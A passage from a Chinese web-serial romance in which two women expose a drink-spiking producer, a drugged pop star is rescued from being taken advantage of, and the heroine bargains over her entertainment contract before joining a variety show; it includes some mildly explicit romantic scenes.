邢葵再次默了默,朴质的三观受到冲击,一时都不知从哪点起吐槽:“你不觉得,我们两个人干这种事很危险吗?” “姐妹,包不危险的。”周梨自信,“整间酒吧都换成了我的人,刚外面路过的清洁工都是保镖公司的王牌,那老登的裤子拉链休想拉开。 而且咱们又不诱导那老登犯罪,他要今晚不放药什么事都不会有。” 周梨的确准备齐全,还给邢葵看了受害艺人的视频,那是一位曾经笑容很甜的爱豆,后来骨瘦嶙峋,在铺天盖地的侮辱声中退了圈。 “你看,也是为受害艺人伸张正义,像她这样的,可能不止一个。” 邢葵蜷了蜷放在腿上的手指,这无疑是个能将人渣绳之于法的好机会,错过周梨,兴许人渣还要逍遥法外好些年。 能帮到别人她愿意帮,整间酒吧都是周梨的人,邢葵随身也带了辣椒喷雾 和美工刀,有一些自保之力。 “好,我们试试,不过就别叫梁君赫了吧,我觉得那样不太好。” 脑满肠肥的制作人推门走进包厢,周梨一只手背到身后,按手机。 虽然邢葵说别叫,但她又没说“绝对不能叫”,姐妹要睡男人,周梨肯定当天就让她睡上,包稳妥的。 第73章 制作人坐下,绚丽的霓虹照着,他肚子处的肥肉堆出至少三层褶皱,眼睛笑眯眯的,瞧起来和善没脾气。 “周梨啊,久仰大名,今天终于得见真人,哟,这位美女是?” 邢葵冷静观察他,身旁周梨笑着,信口编谎:“我朋友,刚进娱乐圈,您手上有部大戏,我带她来看看,看咱俩能不能在您的戏里露个脸?” 假如制作人真不是坏人,真是被污蔑,那周梨正好也争取下角色。 邢葵看出周梨想法,圈中常猜测周梨背景,对她忌惮,然周家上下刚正,绝不会徇私枉法,因此人们只有猜测不见实锤。 鉴于这年头也有艺人会为保护自身,发一些语焉不详的通稿,暗示出身不俗,有些人,比如包厢内这名制作人,就以为周梨也是这种艺人。 一听周梨要讨角色,制作人庸俗的脑袋瓜就觉得,有势力的人拿钱权强压他就好,用得着自己求角色?他笑得两眼都失了踪。 “嗯,这部戏是有很多角色都没定,我看看啊。” 都瞧不见制作人的眼珠子,邢葵感觉有一道x光从上扫到下,又从下扫到上,仿佛她是要被检验的商品,她不动声色。 经检验,不合格:“这头上……不行不行,周梨啊,你我能考虑,你这朋友脑门有道丑疤啊。” 邢葵轻笑,伸手触了下额头。 听许野他们说,经历多次巨痛的激光后,她额头上那道好比蜈蚣的疤痕已经淡了许多。 但具体成了什么样儿邢葵也不知,过去数月她没照过镜子,看手机都得先将手机拿到一边点亮再看。 不过刚出车祸那会儿,邢母怕外人闲话骗过家里亲戚,说她额上的疤就小小一条,前段时间邢葵回老家,亲戚们对她的疤没有特别反应,那想必,现在真就小小一条。 邢葵不在意制作人的话,当面恶评别人疤痕的人才有问题,周梨怕她难过,拍拍她的肩。 “搽遮瑕啊,又不深,赵总,我这朋友不好看吗?老实说,比我还好看吧!” “好看是好看……”制作人恶心的目光在邢葵身上流连,脸颊、脖颈、腰、腿…… 邢葵想到了蠕动的鼻涕虫,这人要不是会下药的强-奸犯,她事后也得雇个侦探查查他有没有偷税漏税。 “但有不用遮瑕的选择,我何必……你说对不对?不说了不说了。”制作人话锋一转,乐呵呵地笑,“来酒吧怎么能不喝酒呢?两位美女喝点什么,我请客!” 相邻城区,摄影棚内,梁君赫正在拍杂志封面。 反光伞架着,摄影师一会儿蹲一会儿站,梁君赫坐在中心单人沙发,光打在他身上,不同于平常情绪外露的他,工作时的梁君赫瘫着一张脸。 一身黑衣,单手托腮,毫无情感的精致五官扑面而来的桀骜不驯。 另一只手修长指尖漫不经心地勾斜一只粉色水晶王冠。 “好帅啊啊啊!”在场工作人员小声尖叫,捶打同事的肩,“好像在说,‘谁会戴上孤的王冠?’好帅!” “这期杂志要卖爆了!这张脸,难怪性格奇差也火遍半边天,我能原谅他。” “怪不得他想谈恋爱一直没谈上,长成艺术品他能看上谁啊!” 梁君赫助理在旁边听着,一言难尽,和长相没关系,就梁君赫私下骄傲任性的样子,世界第一颜值都入不了他的眼。 拍摄结束,梁君赫走出摄影棚,助理连忙上前递给他卸妆巾,他接过,擦拭眼眶下方,始终没表情。 表情丰富容易挨骂,面瘫脸至少能让人觉得他不在乎,想看梁君赫破防的人不会爽到。 他都反感恶评,日后邢葵可怎么办啊,爹的,怎就又想到她了,都怪噩梦! 粉底淡去,梁君赫露出来的桃花眼下方有点红,昨晚睡在祖宅他又做了一整夜的梦。 这一回,梦里的人朦朦胧胧覆在他身上,双手贴在他一只臂膀,摩、按、捏……一根根数他的血管…… 梁君赫视线落到他的手臂,一个激灵,摇摇头,今晚绝对不能再做噩梦! 丢掉卸妆巾,助理递给他手机,他接过来就想看天天奇妙历险,一打开手机却是语音通话邀请,来自周梨。 想也不想地,梁君赫挂掉,周梨又一次打,梁君赫又一次挂,周梨再一次打,梁君赫再一次挂。 第四次,梁君赫火气直冒,周梨神经病,他俩很熟吗?周梨跟……周梨跟邢葵很熟。 关他什么事!梁君赫暗暗骂着,点了接,一道陌生粗糙的男音传出:“你这朋友脑门有道丑疤啊。” 梁君赫:“?”邢葵有疤关这男的屁事!他眉头一皱,越听越不对劲,抓着手机往外面走,近乎奔起来,“去查周梨行程。” 酒吧里,制作人热情地要请邢葵和周梨喝酒。 邢葵:“来听可乐吧。” 周梨:“一杯金汤力。” “可乐?美女来酒吧喝什么可乐,别替我省钱,我也给你点杯金汤力。”制作人笑嘻嘻的,要去按呼叫铃。 “别了,我酒精过敏。” 制作人表现得亲和有风度,听到邢葵说的没有再劝,遗憾地道:“好吧。” 他按响铃铛,“来一听可乐、一杯金汤力,我要一杯教父。” 说完,他看向邢葵的神情仍是遗憾,“美女一辈子不能喝酒多可惜啊,酒是个好东西。” 并不酒精过敏、只是不想喝的邢葵敷衍扯扯嘴角。 一刻钟后,侍者送来三份饮料,制作人和周梨聊着这部戏,夸她有女主之姿,然后起承转合地说女三人设更加饱满。 说得天花乱坠,就像周梨演了女三就能拿下百艺奖最佳女配,再突然加一句“但是”:“抢这个角色的演员非常多,倪芝、祝晓晶……” 他意味深长,暗示周梨她有一争之力,就是还差一点儿,需得再努努力。 邢葵拉开易拉罐环,信他不如信她是武则天。 这人能说会道,周梨差点就上了当,要张嘴提出一些利益交换,邢葵一开易拉罐,咔哒、呲啦,她清醒过来。 去他爹的,梁君赫怎么还不到,就算制作人不下药,看制作人那德性,也能英雄救美啊! 梁君赫在别的城区,赶过来最快也要二十分钟。 周梨腿往后收,脚尖点地,显出一点焦躁,邢葵余光瞥见,咋了这是? 蓦 地,制作人提高音量:“酒怎么是直接送来的?不该是调酒师来当面给我们调吗?” 你事真多啊,邢葵喝了口可乐:“周梨是公众人物,让外人见到不好。” “这有什么?”制作人手盖住金汤力酒杯站起来,杯中酒液摇摇晃晃,“我们谈项目,有哪里见不得人吗?” 邢葵下意识盯杯子,制作人一把从她手上抢过可乐:“我要让他们重送。” 可乐罐子挡住邢葵视线一两秒,接着,三杯饮料都被放上饮料盘。 她肉眼没看见制作人有小动作,周梨也没看见,但藏在这间房里数不清的针孔摄像头能捕捉到细节。 刚刚,制作人拿金汤力时,指甲缝里落下一些粉末。 时刻待命的周梨手下立刻向她传信,既然下了药,制作人当然不可能将酒拿走,演演义愤填膺又演大度:“算了,今儿看在两位美女的面子上,我不跟他们计较。” 周梨向邢葵比“ok”,她立即会意,老登真是会往酒里下药的老登。 那么接下来周梨的人会报警,抓老登一个人赃并获。邢葵打算找借口和周梨离开包厢,站起身的制作人却倏地坐到她俩身边:“你俩要不要点首歌?” 他一边问,一边将可乐和酒杯分别放到邢葵和周梨身前,并不劝酒,能让人不易警觉地喝下,一套连招,十分熟练。 邢葵悄悄下移手,摸到口袋里的迷你美工刀,制作人伸臂,去够周梨那边的点歌遥控器。 她猜,制作人会装不小心脱力,手碰上她的大腿,他肥嘟嘟的颈窝就在眼前,邢葵推开刀片,颈窝有条动脉,她扎进去,看他还能怎么摸。 就在这时!包厢门猛地推开,来人冲进来,纤瘦的手臂力量十足地拽起制作人,一脚踹上他的腿中央:“滚!” 制作人痛叫,被踢到墙上,察觉不对想逃,许多警察和周梨的人也鱼贯而入,镣铐落腕,邢葵眨眨眼,周梨手下是看到下药铁证才报的警,警察不能来这么快吧? 是梁君赫叫的? 他踹完制作人,钳住她两边肩,气喘吁吁,眉宇愤怒,粉发尾端因为汗水亮晶晶:“你就这么急着要当艺人?要角色也不查查对方是什么东西!真要被你气死!” 艺人?要角色?这不是之前周梨对制作人撒的谎?邢葵望向周梨,她心虚地撇过头:“姐妹,我去跟警察做笔录,你慢慢来啊。” “站住,那个,警察您好,这杯金汤力有问题,带走吧。” 周梨:“!”别啊!你喝啊! 邢葵用眼神告诉她“休想”,看回梁君赫,来都来了,摸一下吧。 梁君赫的手在她肩上,感谢厉乘川送的监控,邢葵凭此真正确认梁君赫挺享受被她碰,她抬起手,要按住梁君赫手背,再自然地将他的手拂下。 怎料,她手刚抬高十厘米,梁君赫立马松开手,犹如遇到洪水猛兽,双目惊恐,邢葵无辜,他抓起桌上可乐,仰起脖颈,喉结极快滚动,他将可乐一饮而尽。 “看什么看!你知道这会儿晚高峰,路上堵车,我穿过车流跑过来多不容易吗!我,我这该死的正义感。” 梁君赫气呼呼地单手拍额,斜眼看她,“还不起来?周梨要做笔录,我俩不用?走了。” 夜空星子闪闪,邢葵和梁君赫做完笔录时,周梨这个主要受害人还没做完,她刚没摸到梁君赫,走到酒吧门口鼓起勇气:“很晚了,我不住凤田市,你能送我去一家安全的酒店吗?” 她没真想让梁君赫送,毕竟他是明星,被拍到很棘手,梁君赫厌恶她,肯定也不会送,等他拒绝,她再“一个激动”抓住梁君赫手腕。 听到她的话,梁君赫摸摸脖颈,叫她意外地道:“行吧行吧,烦死了你。” 他声音满是燥气,邢葵蹙蹙眉心,梁君赫不断摸脖颈,颈边皮肤包括脸都在发红,看起来热得厉害,呼吸比一般情况下快、重不少。 做笔录这段时间,疾跑很久的梁君赫还没恢复吗?不,他看上去很不正常。 像是中了药,邢葵很快想到,梁君赫做笔录前喝了她的可乐,老登真该将牢底坐穿,居然给她的饮料也下了药想一男两女! 可乐罐口边缘高一截,天然遮挡,导致摄像头都没拍到。 那药物需要时间反应,如今正达时候,梁君赫气息越来越粗,他或许视力都受到影响,晃了晃漂亮的脸蛋驱赶眼花。 “你撑住,我带你去医院洗胃。”邢葵顾不得想接触、攻略,上前搀住症状愈发加重的梁君赫,他浴在高温中,一碰到凉便如凌霄花攀援上来。 “爹的,那狗东西!”梁君赫现下还有意识,骂了声,还想远离她,“你别想趁机睡服我!我告诉你,我的处男身是留给我未来老婆的。” “我不会啊,你别说话了,我要打车。”被个大帅哥缠着,又不能吃,邢葵也烦,远处驶来一辆车,她招手。 那车却像不用她招,包括那车后面好几辆车,目的地就是他们这儿,最前面的车驶近,驾驶座坐着梁昭然。 她下车和她的保镖们过来,邢葵连忙将梁君赫推过去:“梁总,你弟弟中了药,得赶快洗胃。” 梁君赫被两名男性逮住,不敢相信地瞪邢葵。 梁昭然看了看弟弟,应是收到了消息,面露担忧,挥挥手,保镖们将梁君赫架走,她安抚性地看向邢葵:“辛苦你了,我订了一家酒店,今晚好好休息休息。” 酒店,结束笔录的周梨来找邢葵,问了梁昭然,敲响第十层1003室的门,门打开,梁昭然请她进门,然后关上门。 周梨:“?” 房间里有“唔唔”声,她循声进入,中了药的梁君赫被五花大绑扔在床上。 周梨在门口啪啪鼓掌:“你们梁家为了跟我养母家联姻这种事都做得出来。” 梁君赫:“唔唔!”别废话,快解开我啊! 周梨慢悠悠坐到床边,手指勾住绳子:“我觉得,药中都中了,不能浪费,瞧你这颇具姿色的样子……” 梁君赫目眦欲裂。 周梨:“我带你去让我姐妹爽一把。” 梁君赫眼睛不裂了。 第74章 不,还是得裂。 梁君赫僵滞一秒,继续“唔唔”折腾,周梨嘴角拉开,笑得好比小丑恐怖片里的小丑。 “真的是,原本我想给我姐妹惊喜,还以为给不成了,有句诗怎么说来着,柳暗花明又一药!” 这个疯子,居然要送他去让邢葵睡,他不同意!他从头到脚都不同意! 灯光明亮,邢葵坐在双人大床边,沾着精油的手从小腿肚滑下,嗅着不劣质的绿茶精油香气,享受地眯起眼睛。 身上穿着白色浴袍,酒店工作人员再三向她保证,套房内一切用品皆是全新,梁昭然大概是他们极为重要的客户,连带邢葵都获得了VVIP待遇。 夸张到房里配备的牙膏、洗发水等等,竟都出自奢侈品牌,邢葵喜欢尝试,洗完澡拿了瓶精油试试。 腿旁边的手机播放着八卦视频,制作人前脚被逮捕,后脚网上就有小道消息传出,相信这一回他再翻不了身。 这个点梁君赫该洗完胃了吧,精油清爽清香,邢葵看着八卦心情美妙,有人敲门,她转上精油瓶盖,走过去开门。 高瘦的身影压上她的肩,险些将她压塌,邢葵懵然,门口周梨急匆匆:“姐妹快睡,我去引开追兵!” 不是,你,我,他,你这个助手也太尽责了吧? 梁君赫倒在她身上,显然没去洗胃,精致的脸渗着在灯光下布灵布灵的汗液,经过几个小时,药效就像一锅水,煮开了。 他并不重,相对邢葵来说却太重,热烘烘、沉甸甸,她都难以站稳,周梨跑掉前还替她关上了门,好一个给她带来难题的助手。 “你敢睡我你就完了。”梁君赫像还残留了一线意识,在她肩膀,有气无力,一点也没威胁性地丢下一句。 “我知道啊。”睡一个不清醒的人那叫强-奸!“你清醒一点!” 邢葵都着急了,梁君赫到处晕满不正常的红,刚表达了不准她睡的意思,她还觉得他至少要挣扎远离下,下一秒就与她交颈:“好香……” 贴在脖颈的男人说话没力气,钳住她倒一股牛劲,失去控制,又蹭又闻,小虎牙咬到她的颈项,一张漂亮的面透着靡丽,“好凉快,不许你凉快。” 邢葵躲让,梁君赫便更用力,啃啃咬咬,吮吮舔舔,想掠夺她的温度,身体竭泽的鱼般与她贴。 浴袍有一定厚度,他似乎不满意,伸手去拽,邢葵跟他争,他脸越来越艳,喉间喘息溢出一道又一道。 终于穿着轻薄,梁君赫和他的纽扣覆上来,坚硬的纽扣蹭着邢葵,她瞳孔真要地震:“梁君赫!” “欸!”他乖巧应声,用衣服里的粉纽扣蹭她,眼角挤出委屈的泪水,“我好痒,你怎么不捏,你拨一拨。” 他愣是拽住她的手指去拨弄,邢葵脸不受控地发热,愤愤望着那属于梁君赫的昂贵纽扣在她指腹蹭来蹭去:“这不是我-干的啊。” “你干啊你干啊。”他蹭她的脖子,中药后的人热、痒、渴欲,仅仅贴不过饮鸩止渴,他喘声更大,仿佛命令又仿佛恳求,“睡我,睡我。” “真得给你录音。”邢葵体内都难免热起来,心烦意乱,她绝不会丧失原则,睡一个清醒状态下不准她睡的人。 视线丈量洗澡间到这里的距离,“好,睡,换个地方好不好?” “不好。” “由不得你。”邢葵拖拽梁君赫,他就像挂在她身上的挂件,她挪一段,他也挪一段,感觉她搽的精油全都被梁君赫蹭走,可算进入浴室。 他似发了情的兽,要亲她,邢葵打开花洒,水流唰地淋到梁君赫头上,糟糕,是温水!她刚洗过澡,水温是她调过的! 梁君赫湿漉漉地扑上来,捕捉邢葵的唇,后背抵到瓷砖墙,她抬手抵挡,梁君赫便迷糊地亲手心:“睡我,睡我,你说的睡我!” 那是骗你啊!去洗胃来不及了,除了睡就只能冲冷水澡。邢葵恨不得这一刻在世界上失踪,一边抵挡梁君赫的诱惑,一边去够水温调节器。 他热得能让冰块融化的手指在她肩背往下游走,牵起酥酥麻麻,邢葵不得不弓起腰夹紧腿,他难缠得无可救药,好不容易,浴袍快落时,她碰到调节器。 甫一松懈,梁君赫直接将她抱到腰上。 顶端花洒沙沙落水,水很冷,但梁君赫很烫。 邢葵大脑都陷入空白,继而脸颊热爆,急急忙忙取下花洒,对着梁君赫的头猛浇。 她全然不敢看梁君赫,他还在蹭她,不知道过了多久,可能十秒,也可能十分钟,梁君赫被按下暂停键。 “你知道浴袍沾水多重吗就往我身上跳?” 好家伙,邢葵转过头:“你还倒打一耙?” 梁君赫放下她,脸颊仍旧通红,只是桃花眼里有了一点焦距,对她凌乱的形象视若无物,将她拽出去,随后关上淋浴间的门。 “我洗个澡,别进来。” 就像无事发生,然而隔着一扇门,两个人都歘地蹲到地上。 邢葵:啊啊啊啊啊! 梁君赫:啊啊啊啊啊啊啊啊啊啊! 邢葵到底不是数个月前连吻都没接过的小萌新,很快,啊也不是,反正比梁君赫快地调整过来,反手叩叩门。 “干什么都说了我要洗澡别打扰我刚发生了什么我都不记得了我怎么在你房里好奇怪我真想不通!” “……”好长一段话。 “别跟我说话我在思考我为什么在这里我刚失去了意识好久真莫名其妙我刚一点意识都没有!” “……”邢葵叫停他,“别话痨了,你中了药,这事就忘掉吧,我敲门是想问你为什么没去洗胃?” 她其实是想问是不是周梨干的,她好替她说说话。 门后面水声沙沙,梁君赫环住膝盖:“别问了跟你没关系。” 那就好,邢葵立刻掐断话题:“那你洗澡吧我去换件衣服。” 梁君赫蓦地站起来,不可置信,让她不问她就不问吗?! 那不然呢?邢葵都怕梁君赫抽风主动讲,溜得宛如一阵风。 床边,湿透滴水的浴袍被换掉,邢葵穿上件新的,前几日,江玉鸣教授她攻略方法时,跟她讨论过,如何不让梁君赫像周镜一样喜欢上她。 那就是,任何深层次的、有关梁君赫家人的话题,都千万别去碰。 大门破开,听到动静邢葵走出,梁昭然从外面一脸阴郁地走进,来势汹汹:“我想你该给我一个交代。” 被邢葵交给梁昭然的梁君赫没去洗胃,既无关周梨,他又跟周梨在一处,那么答案呼之欲出。 邢葵看了眼时间:“我觉得,梁总更该给我交代,你发-情的弟弟差点强了我。” 梁昭然眉头皱下:“他本不该在这里!” “哦?那他被你算计跟周梨在一起就该吗?”邢葵坐到沙发上,猜到一切,“梁总,很会利用机会。” 梁家姐弟模样有相似之处,气质却截然不同,不过此刻,也许梁昭然自己也不耻这样行为,冰冷的眸里多了颓色。 她坐到邢葵对面,为她的举动解释:“我不能忤逆父亲,我爸多年来一直想和周家联姻,你同周梨交好,应该认识周镜,曾经,我也被要求嫁给周镜。” 她抚摸无名指婚戒,“可我选择了我现在的丈夫,所以联姻的责任,就落到小赫头上。” “与我无关。”邢葵打断她。 梁家想和周家联姻、梁家重男轻女,这些事她从周镜和江玉鸣那里听过,为了不让梁君赫喜欢她,她绝对不碰。 即使她心里十分无语,梁家老头子这么封建,跟她的亲戚们肯定很有共同语言。 邢葵往沙发背上一靠,不想接触梁家是非,也唯恐梁昭然解释完重新向她问责,把心一横,先发制人,“别说那些虚的,梁总,我们来聊聊交易。” 她学习她的前男友许野,撩起眼皮,十指交叉,摆出气势,“中药、囚禁、强迫……梁总打算拿出什么,来堵上我的嘴?” 梁昭然愣住,明显没料到邢葵会是这反应。 从最开始就躲在墙后偷听的梁君赫也愣住,而后咬起虎牙,未干潮湿的粉发下,双眼都进了水。 适才邢葵表明她猜到他的经历时,梁君赫还不免期待了下,邢葵会对他家的事如何态度,或许她会心疼他……结果她就这态度!海王果真没心! “怎么,梁总没有诚意?”邢葵在心底念叨“勇气来,勇气从四面八方来”,反制住梁昭然,“这种丑闻,传出去你父亲的面子可怎么办?” 梁昭然脸色一变,这是她的痛点。 邢葵继续:“今晚我不能白受罪,梁总拿出点东西给我压压惊吧,我看不如这样,合同上的公司抽成,减掉百分之五。” 梁昭然冷声:“你知道我给你的条件,已经是市面上最好的了吗?” “我知道啊,但将下药弟弟关房间的又不是我,受罪的是我,您说是不是这个理?”邢葵轻轻地笑。 把柄被抓住,梁昭然束手束脚,沉思了几息:“抽成我不可能给你再降,用别的换,我推你上一部综艺。” 综艺!邢葵面上稳定:“梁总当我傻?你本就要培养我,综艺是我本就会有的吧,抽成降百分之五和综艺,我都要。” 她往后一仰,威风八面,这下梁昭然应当不会再问她责了,因为直白的威胁,反而能降低她的戒备心。 清晨的光照在老式小区,邢葵敲响周镜家的门:“那个,周律师,你之前说我能来找你睡,是真的吗?” 昨天一晚上她经历了好多事,应对了好多人,还被梁君赫蹭得身如火焚,急需发泄一场。 打开门的周镜顿了顿,伸手,将她抱进家,说他睡起来很舒服,更不用她负责任。 “葵葵,跟我讲讲发生什么了。”周镜摘下眼镜,跪到床上,按上她的大腿,看到腿根轻微泛红,眼神变深。 温热的掌覆盖住红迹,“我想我需要听你讲几个小时。” 深更半夜,邢葵渴水,撑着额头爬起身,周镜圈住她,声音喑哑:“明早再走。” 邢葵拍拍他的手背:“没跑,我去倒杯水。” 加了水的水壶放上电源底座,邢葵惬意舒展了下手臂,点开手机习惯性地看账号数据。 清晨坐高铁回来时,她发了帖子说明她已和救命恩人分手,现下各个平台都是相关消息。 在这之前邢葵停更了一段时间恋爱日常,因此粉丝们基本都猜到了情况,每个平台评论区整体风向都是祝福。 看完一圈,水还没烧好,邢葵又点开某抖私信,想瞧瞧小惹有没有给她发消息,真有。 【恭喜分手!研究表明,和肌肉男分手下一任更优质!】 哪来的研究啊,邢葵失笑,再往下的信息却越瞧越不对。 【你能听我讲件事吗?】 【我有个朋友,有很多家庭问题,有个人想跟这位朋友交朋友,听说他的家庭问题后就换了副面孔,你说这个人是不是很坏?】 【强调!这位朋友特别优秀闪耀能发光,重情重义,很好很好,个人层面没任何其他问题。】 邢葵看得拳头都硬了,回复:【还问坏不坏?这种人赶紧丢垃圾桶啊!】 大半夜的,小惹竟还在线:【我也觉得她讨厌死了!】 邢葵给小惹发“抱抱”表情包。 小惹:【(戳手指.jpg)问一问,你遇到封建家庭会怎么样哇?】 封建可太讨厌了!邢葵想到梁家,心生感慨,梁家她说不得真心话,小惹的事她还不能说吗? 【宝宝,这样的家庭可能有许多负能量,但出身在这样的家庭不是你能决定的,重要的是你自己是怎样的人,我不会因为你的出身就远离你。】 他就知道!咔嚓,梁君赫咬了一口脆皮大鸡腿,整张桌面都是美食和美食残渣,看上去至少吃了五个小时。 他就知道,天天奇妙历险,好;邢葵,坏! 等一下,梁君赫披着“惹我的人娶不到老婆^_^”的马甲再次打字:【我是说我的朋友,不是我!】 邢葵眸中生笑,披着“天天奇妙历险”的马甲回复:【知道啦,是我搞错了,宝宝,早点睡。】 梁君赫咬着鸡腿肉翘起嘴角,天天好!邢葵坏! 【睡不着就吃颗褪黑素,很管用的。】 “咳,咳咳。”梁君赫疯狂咳嗽,手按住胸口,不小心碰到纽扣,某些场景欻欻重现,他整只耳朵红透。 褪黑素那可绝对不能吃,他怕梦到邢葵,将未做的事做了。 第75章 “少爷。”咚咚,梁家管家敲了敲门,小心翼翼,“小姐问你还要吃多久,吃胖了影响形象。” 梁君赫用力咬着鸡腿,仿佛咬的是邢葵:“我又吃不胖,姐都不敢来见我了?她也知道我是她亲弟弟!” “不是,少爷,小姐说了,她觉得你要求她降公司对邢小姐百分之六抽成,她非常不能接受。” “降百分之五我才不能接受,五这个数字多像哭,六这个数字。”梁君赫弯曲食指、中指、无名指,比了个“六”,“我正好骂一下邢葵!” “……”要不少爷也骂一下我吧,倒贴钱骂人这种事您也做得出。 “你去传达下我的意思,就说她不同意我就继续吃,吃胖了她少一棵摇钱树亏得更多!” “……”行,少爷您唯您独尊。 管家退下,梁君赫神情倨傲地拿起手机,邢葵不用谢他,算他赔她的,他昨夜对她……真的假的?她真就不想睡他? 梁君赫低下弯翘的眸看了看他自己,不敢相信地咬鸡腿,邢葵居然浇他冷水,真就不想睡他?真就不想睡? 他腰细腿长的,哪里比厉哥、周哥、许弟身材差,没眼光。 肯定受了邢葵最新一任许野影响,梁君赫点开许野微信噼里啪啦骂了他十条。 骂完心里仍是不畅,梁君赫手里拿着油炸的大鸡腿,油炸的香气却盖不住那晚邢葵身上搽的精油香,他又气愤地点开周梨微信。 死疯子,竟然带中药的他去让邢葵爽,她爽了吗?反正他不爽,他非骂死她。 打字:【喂,替我跟邢葵说一句,抱歉。】 月光照着热水壶,水沸腾,壶嘴冉冉升起热气。 邢葵拿来一只水杯,手机屏幕接连跳上来两条消息,她一边倒水一边点开。 第一条是周梨发的:【梁君赫要找你道歉,我把你微信推给他了。】 第二条是一条加好友申请,备注为:【别点通过!就是想说抱歉,抱歉什么我也不知道,昨天晚上的事我不记得了!别点通过!不想加你!】 越强调越证明梁君赫记得啊,邢葵笑了笑,也给他发去添加好友申请,并备注:【知道啦,不用加我。】 好友申请立刻被梁君赫通过:【不让我加我就加,呵呵。】 邢葵关掉微信,没回他,梁君赫性子傲娇难驯,越不理他,他越会反复回想中药意外,也许伴随时间推移,能让她收获他的生理性喜欢。 刚烧开的水很烫,邢葵吹了几下喝了一口,已过凌晨一点,学生时代,她在这个时间点也会喝水,只是却是为吃褪黑素,熬夜学习后强迫自己睡着。 那个时候,她白天喝咖啡、晚上吃褪黑素,辛苦,但她不以为苦,满心都是她的个人发展。 可大学一毕业,人们却说,她不结婚人生就是失败的。 何等荒谬。 窗外皎月灿然,邢葵遥望着,所见和学生时代熬夜苦读后所见别无二致,她一定要为自己拼出一个光明的未来。 夜空缓缓飘下雪,冬日的雪漫天飞舞,2028年2月末,快综艺《十万个问题》官宣最后一位嘉宾,斩获热搜“爆”词条三个,“热”词条无数。 热评第一:【梁少爷也来参加,这季的主题是“谁的黑料最多”吗?】 热评第二:【请问《十万问》,是觉得请这么多争议性艺人就能翻身吗?】 快综艺,又称短综艺,是短剧井喷式发展后,荔枝影视推出的新概念。 《十万个问题》是快综艺曾经的佼佼者,嘉宾不限于明星、网红、素人,每三月一季,每季仅四期,每季提出一个问题。 比如“嘉宾中哪一对不是兄妹是情侣?”,比如“嘉宾中哪两个曾是一对?”,集生活、推理、抓马等元素为一体,时常引发全网讨论,爆了一季又一季。 尤其第三季,兄妹季,网友嗑生嗑死,每天为谁是情侣争吵,结果最不像情侣的一对是情侣,全网不信,根据蛛丝马迹扒出男方劈腿四年之久,哗声延续近三个月。 然而,一次次的刺激拉高了观众快乐阈值,加上其他快综频出,《十万个问题》近几季热度持续走低,上一季在某评分软件点评人数甚至只有千余人。 【请周梨还请梁君赫,荔枝影视是想复刻《走去看》的成功吗?我真要去打差评了。】 【八位嘉宾一半都是明星,《十万问》史上头一回吧?众所周知,全明星阵容=狗屎。】 【另外四个还全是代号呢!尤其那个“天天奇妙历险”,网红吧?特么的是买了多少营销啊?我天天都能刷到!】 立马有人附和他。 【点了,再这么营销我要逆反了。】 【是金子总会发光,要营销的都是狗屎。】 【点了!有天刷到看了下,给我咯噔得退出来了,全靠营销才能涨到百万粉吧,我真建议她好好打磨内容。】 立刻也有人反驳他们。 【大数据就是你刷到一次就会给你推第二次第三次,说营销多的你去搜搜别人呢?】 【是金子营不营销都是金子!这年头连路边小摊都要拍视频,不营销很有可能金子蒙尘你懂不懂啊?】 【我服了,我们天天经历苦难,一天天爬起来乐观生活,多励志在你嘴里成了咯噔?】 然后双方吵起架。 【不是吧,网红还真有活人粉丝?见到活孝子了,笑死。】 【去查查天天的粉丝数吧,光某抖都五百万,真无知,论活粉数量她说不准比你真主还多。】 【藏头藏尾的皮套女也有人粉?笑不活了,多丑才不敢露脸,蹲《十万问》曝光天天奇妙历险真容!】 …… 平凡的灰色奥迪在马路行驶,车内后排,长方形化妆镜摇晃,丝绒质地的红枫色口红轻轻抹过邢葵的唇。 执着口红的人手指比常人长一截,指节有一些褶皱。 邢葵和江玉鸣坐在后排,周镜在开车,眼镜后的眸子瞄了眼后视镜。 “好了,别再 乱来。” 车后座,邢葵不好意思地捂住脸。 “嗤,我们又没干什么,你在前面碍眼,我们葵葵都不肯被我亲。”江玉鸣盖上口红,指腹一道与口红同色的红痕。 “江玉鸣!”邢葵羞赧地放下手,暴露在空气中的脸干干净净,连额头也光洁一片。 又经过四个多月,她的疤痕彻底消失,在这四个月一百多天里,她经历了更多奇妙历险,并在灵潮的助推中,更系统化地经营自媒体,小有成就。 具体表现为,某抖粉丝数超五百万、微博超两百万、小红薯一百万,B站六十万…… 再具体表现为,仅仅四个月,邢葵挣得超过了她打工多年的总钱数,将近七位数。 如今线上点麻辣烫不用凑到满减就不加东西,线下吃麻辣烫不用研究如何摆放菜品比较轻,因为她是银行里有七位数存款的小富婆了! 再之后,因为邢葵有了可以被引起讨论的价值,梁昭然提过的综艺提上日程。 今天周镜就是送她去节目组开录制前的会议,本来江玉鸣要送,两个人在邢葵家里僵持,最后江玉鸣考虑到周镜的奥迪比他开的小破车好,表示勉为其难退让一下。 对此邢葵没发表意见,谁让她四个月前睡周镜被江玉鸣逮住了。 江玉鸣有她家钥匙,守在她家等她,见她两晚未归,点开她家门口的监控视频,微笑。 随后,在早晨邢葵从周镜家出来时,他打开了门:“葵葵,玩完了好回家吃早餐了。” 邢葵:弱小、可怜、无助。 后来江玉鸣非逼问她和周镜亲了多少次、睡了多少次,她哪会数啊。 挖空脑子想了又想,周镜希望久一点再久一点,大量时间都在前戏,好像没怎么亲,也没怎么做,那就都算三次吧。 江玉鸣笑着说他了解了,瞧上去不吃醋,邢葵心忐忑,不放心地问他是不是真的。 他说:“是的,不吃醋,吃水。” “……”烧种! 再后来江玉鸣和周镜形成了一种诡异的平衡,邢葵试探地问过,他俩大概的意思是,人生的路,她往前走就好,身后多余的事他们会自行处理。 刚在车里,邢葵没肯让江玉鸣亲,他愣是用手指瑟瑟地摩掉她的口红,而周镜睁一只眼闭一只眼。 邢葵深深怀疑看起来平衡的两人,实则各怀鬼胎,但就像他们说的,她不用管,她大步往前走。 “到了。”开会的地方到达。 “还差谁啊?”会议室外,几名工作人员聊着天,“欸?神秘的天天奇妙历险到了没?我还挺好奇她究竟长什么样。” “据说额头有道很深很长的疤。” “编的故事你真信?这种一年涨几百万粉的网红背后绝对有大推手,有小道消息说,她在帖子中提到的男性,其实都是她的金主。” “啧,网红圈真是乱啊。” 一名女pd皱了皱眉:“别传没实锤的八卦,各行各业都有好人坏人,就像医生护士也有烂人,流浪汉也有好人,她是网红不代表她就乱搞啊。” 其他人听着,不以为意地笑:“随便聊聊嘛。” “那也不能乱讲。” “你急什么,乱不乱讲看她额头上有没有疤不就知道了!” 